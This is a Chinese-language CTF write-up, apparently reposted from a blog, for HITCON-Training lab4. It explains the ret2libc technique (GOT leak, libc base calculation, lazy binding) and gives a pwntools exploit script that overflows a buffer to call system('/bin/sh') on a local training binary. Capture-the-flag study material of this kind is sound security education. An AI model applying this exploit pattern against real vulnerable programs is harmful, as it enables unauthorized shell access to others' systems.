本文主要是介绍CTF|HITCON-Training-master lab4 writeup (ret2libc题型),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
CTF|HITCON-Training-master lab4 writeup (ret2libc题型)
做题做题前先看看ctfwiki上对ret2libc的原理描述
原理
ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置(即函数对应的 got表项的内容)。一般情况下,我们会选择执行 system("/bin/sh"),故而此时我们需要知道 system 函数的地址。
思路
总体思路就是我们遇到没有system没有"/bin/sh"的文件
我们考虑用以下方法获取system函数的位置
- system 函数属于 libc,而 libc.so 动态链接库中的函数之间相对偏移是固定的。
- 即使程序有 ASLR 保护,也只是针对于地址中间位进行随机,最低的12位并不会发生改变。所以如果
所以我们只要知道了libc中某一个函数的真实地址,我们就可以通过system函数和这个函数之间的地址偏移来得到system函数的真是地址。
而对于如何知道某一个函数的真实地址,我们一般常用的方法是采用 got 表泄露,即输出某个函数对应的 got 表项的内容。当然,由于 libc 的延迟绑定机制,我们需要泄漏已经执行过的函数的地址。
延迟绑定
所谓延迟绑定,就是当函数第一次被调用的时候才进行绑定(包括符号查找、重定位等),如果函数从来没有用到过就不进行绑定。基于延迟绑定可以大大加快程序的启动速度,特别有利于一些引用了大量函数的程序.
对于lab4 我们看到文件里面一个叫“see something”的函数可以返回有一个函数的真实地址,(我们输的的地址要是十进制的),以此我们来得到一个函数的真实地址,从而算得偏移得到system函数和“/bin/sh”字段的真实地址。
查看libc库路径命令行
ldd ret2libc
exp
from pwn import *p = process('./ret2lib')
elf = ELF("./ret2lib")
libc = ELF("/lib/i386-linux-gnu/libc.so.6") //libc路径
main = 0x0804857d //为了先执行一边puts ‘延迟绑定’机制
payload = 134520860 //puts函数在got表项中的位置
p.recvuntil('Give me an address (in dec) :')
p.sendline(str(payload))puts_addrs = int(p.recvuntil('\n')[-11:],16) //接收
print hex(puts_addrs)
libc_base = puts_addrs - libc.symbols['puts'] //算出偏移
print 'this is offset'+hex(libc_base)
system_base = libc_base + libc.symbols['system'] //system函数地址
gdb.attach(p)
binsh_libc = libc.search("/bin/sh").next() //获取‘/bin/sh’字段
binsh = binsh_libc + libc_base
print hex(system_base)
payload2 = 'a' * 60 +p32(system_base)+p32(main)+p32(binsh)
p.recvuntil('Leave some message for me :')
p.sendline(payload2)
p.interactive()
这篇关于CTF|HITCON-Training-master lab4 writeup (ret2libc题型)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!